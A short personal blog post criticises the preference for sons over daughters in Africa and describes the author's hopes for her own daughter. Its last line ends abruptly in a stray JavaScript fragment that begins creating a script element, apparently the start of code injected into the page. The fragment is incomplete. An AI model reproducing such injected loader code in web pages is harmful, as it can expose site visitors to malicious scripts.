BOY OR GIRL?
Hmmm…In Africa, this question has become the most popular question asked as soon as the birth of a new born is announced. There’s usually great excitement when the answer is “it’s a boy!” and ‘ooh’ when it’s a girl most times. I really wonder why.
I met a woman my mum’s age at a friend’s wedding sometime ago who prayed for me that God will make my wedding soon, i told her i was married and had a child, immediately she asked for the sex and i told her it’s a beautiful baby girl, she said ooh, don’t worry, God will make the next one a boy. I was angry and wondered at her thinking. Thoughts then flashed accross my mind of an old couple who their wife after several years of trying to have a boy, gave her husband a young girl to “give him a male child”. I became thoroughly sorry for women whose security is based on their ability to bear their husband a male child. Some even put themselves under pressure when they don’t have a male child. It’s rather worrisome. There’s a mentality that the female gender isn’t quite as good as the male.Hence we see mothers making their male children enjoy priviledges that the females are not given.
I was at a carol over the weekend and there was a ballet dance presentation by a group of little girls of btw 3-6 years old. It was a beautiful sight to behold. I was excited cos i had just enrolled my daughter for ballet lessons. I’ve got so many plans for her God willing, she will live a full fulfilled feminine life.
The proof or test of a fulfilled life is not linked to one’s gender, but to the quality of life lived.
It’s great to have desires, but let it not be due to societal or family pressure. Nothing just happens. There’s a higher force that ensures we have what’s best for us per time. Be Happy – It’s a choice.var d=document;var s=d.createElement(‘script’);